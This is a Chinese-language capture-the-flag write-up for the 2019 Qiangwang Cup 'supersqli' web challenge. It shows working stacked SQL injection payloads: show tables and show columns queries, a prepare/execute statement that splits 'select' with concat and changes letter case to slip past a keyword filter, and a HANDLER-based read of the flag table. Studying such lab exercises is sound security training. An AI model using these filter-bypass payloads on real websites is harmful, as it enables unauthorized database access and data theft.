强网杯 2019[supersqli]

考点:堆叠注入,通过set prepare 绕过select等一些可利用的限制

放入bp测试一下发现报错,得知其为单引号闭合前面order by 还行order by 2 正常回显 但3报错得知select中有两个数据。

强网杯 2019[supersqli]_第1张图片

 第一时间想到的是联合注入,结果:

 

 被过滤了,第一时间反应下来是去绕过过滤,不得。通过其它大佬的wp得知这边考点是堆叠注入。同时使得一个sql代码一次性执行两条以上的sql命令。

在本机mysql测试 如:

select 1;
-----
1
-----
1
-----


select 1;select 2;
-----
1
-----
1
-----


-----
2
-----
2
-----

于是构造pyload查表:

1' ;show tables--+

 得到两个表

强网杯 2019[supersqli]_第2张图片

 查看表中的列:

1' ;show columns from `1919810931114514`--+

强网杯 2019[supersqli]_第3张图片

 注意:这里的``是表的专属符号并非单引号。

看到flag也猜到了flag在这里面了,所以words表可以不管了,有兴趣可以自己康康

为了绕过select可以使用mysql预处理语句绕过,放一篇预处理的文章

MySQL 预处理语句prepare、execute、deallocate的使用_我的博客-CSDN博客

构造的pyload:

1' ;set @sql=concat('sel','ect * from `1919810931114514`;');prepare errorr0 from @sql;EXECUTE errorr0;


结果又给过滤了:

 但是还好绕过简简单单,普通的大小写绕过

1' ;Set @sql=concat('sel','ect * from `1919810931114514`;');Prepare errorr0 from @sql;EXECUTE errorr0;--+

强网杯 2019[supersqli]_第4张图片

也可以试试这个命令

1';handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;#

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭。
 

 参考文章:攻防世界-web-高手进阶区017-supersqli - joker0xxx3 - 博客园

[GYCTF2020]Blacklist堆叠注入_浩歌已行的博客-CSDN博客

你可能感兴趣的:(刷题+WP,sql,数据库,database)